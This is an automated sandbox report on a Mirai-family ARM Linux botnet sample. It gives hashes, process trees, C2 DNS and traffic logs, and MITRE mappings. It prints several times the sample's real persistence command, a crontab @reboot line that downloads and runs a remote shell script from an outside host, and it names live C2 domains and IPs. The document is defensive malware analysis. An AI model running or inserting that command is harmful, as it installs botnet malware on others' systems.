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Linux Analysis Report
nshkarm5.elf

Overview

General Information

Sample name:	nshkarm5.elf
Analysis ID:	1576892
MD5:	e1226c8cfe75cc7aa640009a993d79a3
SHA1:	c5af7d771744f1913fdaba158777af403ee47135
SHA256:	19c0973424e78afb5488857a732d0743accf0c1e5a5670420d0032635fcc67ec
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Executes the "crontab" command typically for achieving persistence

Sample tries to persist itself using cron

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Found strings indicative of a multi-platform dropper

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576892
Start date and time:	2024-12-17 17:42:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nshkarm5.elf
Detection:	MAL
Classification:	mal60.troj.linELF@0/1@10/0

Warnings

VT rate limit hit for: nshkarm5.elf

Runtime Messages

Command:	/tmp/nshkarm5.elf
PID:	5430
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	you are now apart of hail cock botnet
Standard Error:	no crontab for root

Process Tree

system is lnxubuntu20

nshkarm5.elf (PID: 5430, Parent: 5351, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nshkarm5.elf

nshkarm5.elf New Fork (PID: 5432, Parent: 5430)

sh (PID: 5432, Parent: 5430, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

sh New Fork (PID: 5434, Parent: 5432)

sh New Fork (PID: 5436, Parent: 5434)

crontab (PID: 5436, Parent: 5434, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 5435, Parent: 5432)

crontab (PID: 5435, Parent: 5432, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

nshkarm5.elf New Fork (PID: 5437, Parent: 5430)

nshkarm5.elf New Fork (PID: 5481, Parent: 5437)

nshkarm5.elf New Fork (PID: 5438, Parent: 5430)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nshkarm5.elf

ReversingLabs: Detection: 21%

Source: tmp.yXIL8b.18.dr

String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 80.78.26.121 ports 13275,1,2,3,5,7
Source: global traffic	TCP traffic: 212.64.215.71 ports 21560,1,2,3,8,13238

Source: global traffic	TCP traffic: 192.168.2.13:55384 -> 80.78.26.121:13275
Source: global traffic	TCP traffic: 192.168.2.13:55978 -> 212.64.215.71:13238

Source: /tmp/nshkarm5.elf (PID: 5430)

Socket: 127.0.0.1:1172

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown	UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown	UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown	UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown	UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown	UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown	UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown	UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown	UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown	UDP traffic detected without corresponding DNS query: 137.220.52.23
Source: unknown	UDP traffic detected without corresponding DNS query: 217.160.70.42

Source: global traffic	DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: tmp.yXIL8b.18.dr

String found in binary or memory: http://hailcocks.ru/wget.sh;

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal60.troj.linELF@0/1@10/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 5436)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 5435)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 5435)	File: /var/spool/cron/crontabs/tmp.yXIL8b			Jump to behavior
Source: /usr/bin/crontab (PID: 5435)	File: /var/spool/cron/crontabs/root			Jump to behavior

Source: /tmp/nshkarm5.elf (PID: 5432)

Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

Jump to behavior

Source: submitted sample

Stderr: no crontab for root: exit code = 0

Source: /tmp/nshkarm5.elf (PID: 5430)

Queries kernel information via 'uname':

Jump to behavior

Source: nshkarm5.elf, 5430.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp, nshkarm5.elf, 5437.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp, nshkarm5.elf, 5481.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp	Binary or memory string: kkx86_64/usr/bin/qemu-arm/tmp/nshkarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nshkarm5.elf
Source: nshkarm5.elf, 5430.1.0000559a43bc5000.0000559a43d19000.rw-.sdmp, nshkarm5.elf, 5437.1.0000559a43bc5000.0000559a43d19000.rw-.sdmp, nshkarm5.elf, 5481.1.0000559a43bc5000.0000559a43d19000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nshkarm5.elf, 5430.1.0000559a43bc5000.0000559a43d19000.rw-.sdmp, nshkarm5.elf, 5437.1.0000559a43bc5000.0000559a43d19000.rw-.sdmp, nshkarm5.elf, 5481.1.0000559a43bc5000.0000559a43d19000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nshkarm5.elf, 5430.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp, nshkarm5.elf, 5437.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp, nshkarm5.elf, 5481.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nshkarm5.elf, 5481.1.00007ffd040a2000.00007ffd040c3000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nshkarm5.elf	21%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high
kingstonwikkerink.dyn	80.78.26.121	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://hailcocks.ru/wget.sh;	tmp.yXIL8b.18.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.78.26.121	kingstonwikkerink.dyn	Cyprus		37560	CYBERDYNELR	false
212.64.215.71	unknown	Turkey		15395	RACKSPACE-LONGB	true

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.78.26.121	nshkarm.elf	Get hash	malicious	Unknown	Browse
212.64.215.71	nshkarm.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	hidakibest.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	hidakibest.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
kingstonwikkerink.dyn	nshkarm.elf	Get hash	malicious	Unknown	Browse	80.78.26.121

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RACKSPACE-LONGB	nshkarm.elf	Get hash	malicious	Unknown	Browse	212.64.215.71
	i686.elf	Get hash	malicious	Mirai	Browse	92.52.99.131
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	89.234.28.7
	Josho.arm.elf	Get hash	malicious	Unknown	Browse	89.234.45.46
	https://reviewgustereports.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	134.213.193.62
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	134.213.250.148
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.13.153.221
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	92.52.99.126
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	89.234.45.54
	m68k.elf	Get hash	malicious	Mirai	Browse	5.79.3.85
CYBERDYNELR	nshkarm.elf	Get hash	malicious	Unknown	Browse	80.78.26.121
	GjNVpV53SR.exe	Get hash	malicious	Quasar	Browse	80.78.28.83
	p-p.c-440.DUSK.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader	Browse	80.78.24.30
	FW3x3p4eZ5.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	80.78.24.30
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel	Browse	80.78.24.30
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/var/spool/cron/crontabs/tmp.yXIL8b

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	306
Entropy (8bit):	5.150546302936049
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1KmREJOBFQLvmf9qvZHGMQ5UYLtCFt3HY5DMFDKXsJovYL8jndFB:8QjHig8SfgJeHLUHYC+GABjnOGAFkz
MD5:	2BCDAB286738F285C6FFAE4DCDF6DB82
SHA1:	B56F4789A25CFAE7E669B7E3F000CEFD338A9677
SHA-256:	F960D25817685DEBCA2443D644A329058DBFF03BB2D2886973AA777C62A47C5B
SHA-512:	C4D552B1F56709E0FA8F1A06224F7E384EFECD7FE0D31F9AED6055BE7A28997DBD676093C42DD9691C09BB6F7E5295FBC30847F520BD22A8862054E839C8BB7A
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Tue Dec 17 10:42:51 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.121489829687862
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nshkarm5.elf
File size:	72'736 bytes
MD5:	e1226c8cfe75cc7aa640009a993d79a3
SHA1:	c5af7d771744f1913fdaba158777af403ee47135
SHA256:	19c0973424e78afb5488857a732d0743accf0c1e5a5670420d0032635fcc67ec
SHA512:	386a7d59bbc76e70bd5ba26966b542cb6692530b0725d5198c5ac94aa02a594ca3556887dafce1fbc1e7c0bf5cc7075487ba19bc7101980acf9bc2535a20cdfe
SSDEEP:	768:NVIhlc2RV0F5VgRIdjaMrSJt/3ACxSM/rWsmCvJmKN5d7g1jCL2YM0IMi85PddPS:nIrtGfSJxACNVtg1e80fX5KA8Sbbyon
TLSH:	69634B85FC819A12C6D1227BFB6E428D772753A8D3EF7203DD256F21778682B0E67601
File Content Preview:	.ELF...a..........(.........4...........4. ...(..........................................................T..........Q.td..................................-...L."....?..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	72336
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xfc70	0x0	0x6	AX	16
.fini	PROGBITS	0x17d20	0xfd20	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x17d34	0xfd34	0x1984	0x0	0x2	A	4
.ctors	PROGBITS	0x216bc	0x116bc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x216c4	0x116c4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x216d0	0x116d0	0x380	0x0	0x3	WA	4
.bss	NOBITS	0x21a50	0x11a50	0x50fc	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x11a50	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x116b8	0x116b8	6.1532	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x116bc	0x216bc	0x216bc	0x394	0x5490	2.8316	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 17:42:57.160559893 CET	55384	13275	192.168.2.13	80.78.26.121
Dec 17, 2024 17:42:57.280103922 CET	13275	55384	80.78.26.121	192.168.2.13
Dec 17, 2024 17:42:57.280236006 CET	55384	13275	192.168.2.13	80.78.26.121
Dec 17, 2024 17:42:57.280508995 CET	55384	13275	192.168.2.13	80.78.26.121
Dec 17, 2024 17:42:57.400465012 CET	13275	55384	80.78.26.121	192.168.2.13
Dec 17, 2024 17:42:57.400584936 CET	55384	13275	192.168.2.13	80.78.26.121
Dec 17, 2024 17:42:57.520565033 CET	13275	55384	80.78.26.121	192.168.2.13
Dec 17, 2024 17:43:01.599678040 CET	13275	55384	80.78.26.121	192.168.2.13
Dec 17, 2024 17:43:01.599971056 CET	55384	13275	192.168.2.13	80.78.26.121
Dec 17, 2024 17:43:01.600305080 CET	55384	13275	192.168.2.13	80.78.26.121
Dec 17, 2024 17:43:21.864144087 CET	55978	13238	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:21.983927965 CET	13238	55978	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:21.984199047 CET	55978	13238	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:21.984199047 CET	55978	13238	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:22.105329990 CET	13238	55978	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:22.105664968 CET	55978	13238	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:22.225882053 CET	13238	55978	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:23.451215029 CET	13238	55978	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:23.451580048 CET	55978	13238	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:23.451580048 CET	55978	13238	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:33.700510025 CET	51460	21560	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:33.820112944 CET	21560	51460	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:33.820391893 CET	51460	21560	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:33.822243929 CET	51460	21560	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:33.941772938 CET	21560	51460	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:33.942142963 CET	51460	21560	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:34.061918974 CET	21560	51460	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:43.828296900 CET	51460	21560	192.168.2.13	212.64.215.71
Dec 17, 2024 17:43:43.947887897 CET	21560	51460	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:44.330163002 CET	21560	51460	212.64.215.71	192.168.2.13
Dec 17, 2024 17:43:44.330436945 CET	51460	21560	192.168.2.13	212.64.215.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 17:42:51.914963007 CET	43791	53	192.168.2.13	139.84.165.176
Dec 17, 2024 17:42:52.072906017 CET	33555	53	192.168.2.13	139.84.165.176
Dec 17, 2024 17:42:56.921483040 CET	54808	53	192.168.2.13	81.169.136.222
Dec 17, 2024 17:42:57.079123020 CET	53761	53	192.168.2.13	81.169.136.222
Dec 17, 2024 17:42:57.159485102 CET	53	54808	81.169.136.222	192.168.2.13
Dec 17, 2024 17:42:57.317496061 CET	53	53761	81.169.136.222	192.168.2.13
Dec 17, 2024 17:42:57.318564892 CET	36026	53	192.168.2.13	70.34.254.19
Dec 17, 2024 17:43:02.320959091 CET	47997	53	192.168.2.13	194.36.144.87
Dec 17, 2024 17:43:02.571147919 CET	53	47997	194.36.144.87	192.168.2.13
Dec 17, 2024 17:43:03.733416080 CET	43023	53	192.168.2.13	1.1.1.1
Dec 17, 2024 17:43:03.733474970 CET	41339	53	192.168.2.13	1.1.1.1
Dec 17, 2024 17:43:03.872579098 CET	53	41339	1.1.1.1	192.168.2.13
Dec 17, 2024 17:43:03.954772949 CET	53	43023	1.1.1.1	192.168.2.13
Dec 17, 2024 17:43:06.603210926 CET	60850	53	192.168.2.13	139.84.165.176
Dec 17, 2024 17:43:11.607873917 CET	49031	53	192.168.2.13	64.176.6.48
Dec 17, 2024 17:43:16.614177942 CET	48191	53	192.168.2.13	5.161.109.23
Dec 17, 2024 17:43:21.620517969 CET	50404	53	192.168.2.13	202.61.197.122
Dec 17, 2024 17:43:21.863358021 CET	53	50404	202.61.197.122	192.168.2.13
Dec 17, 2024 17:43:28.453824997 CET	40850	53	192.168.2.13	137.220.52.23
Dec 17, 2024 17:43:33.460323095 CET	41198	53	192.168.2.13	217.160.70.42
Dec 17, 2024 17:43:33.699110985 CET	53	41198	217.160.70.42	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 17:42:51.914963007 CET	192.168.2.13	139.84.165.176	0x7421	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:42:56.921483040 CET	192.168.2.13	81.169.136.222	0x83d6	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:03.733416080 CET	192.168.2.13	1.1.1.1	0x90b1	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:03.733474970 CET	192.168.2.13	1.1.1.1	0x7ef	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Dec 17, 2024 17:43:06.603210926 CET	192.168.2.13	139.84.165.176	0x3eff	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:11.607873917 CET	192.168.2.13	64.176.6.48	0x2d61	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:16.614177942 CET	192.168.2.13	5.161.109.23	0x1af8	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:21.620517969 CET	192.168.2.13	202.61.197.122	0x8db0	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:28.453824997 CET	192.168.2.13	137.220.52.23	0x254a	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:33.460323095 CET	192.168.2.13	217.160.70.42	0xb8fc	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 17:42:57.159485102 CET	81.169.136.222	192.168.2.13	0x83d6	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:42:57.159485102 CET	81.169.136.222	192.168.2.13	0x83d6	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:42:57.317496061 CET	81.169.136.222	192.168.2.13	0x83d6	Format error (1)	kingstonwikkerink.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:03.954772949 CET	1.1.1.1	192.168.2.13	0x90b1	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:03.954772949 CET	1.1.1.1	192.168.2.13	0x90b1	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:21.863358021 CET	202.61.197.122	192.168.2.13	0x8db0	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:21.863358021 CET	202.61.197.122	192.168.2.13	0x8db0	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:33.699110985 CET	217.160.70.42	192.168.2.13	0xb8fc	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 17:43:33.699110985 CET	217.160.70.42	192.168.2.13	0xb8fc	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: nshkarm5.elf PID: 5430, Parent PID: 5351

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm5.elf
Arguments:	/tmp/nshkarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nshkarm5.elf PID: 5432, Parent PID: 5430

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5432, Parent PID: 5430

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") \| crontab -"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5434, Parent PID: 5432

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5436, Parent PID: 5434

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5436, Parent PID: 5434

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: sh PID: 5435, Parent PID: 5432

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5435, Parent PID: 5432

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/usr/bin/crontab
Arguments:	crontab -
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: nshkarm5.elf PID: 5437, Parent PID: 5430

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nshkarm5.elf PID: 5481, Parent PID: 5437

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nshkarm5.elf PID: 5438, Parent PID: 5430

General

Start time (UTC):	16:42:51
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
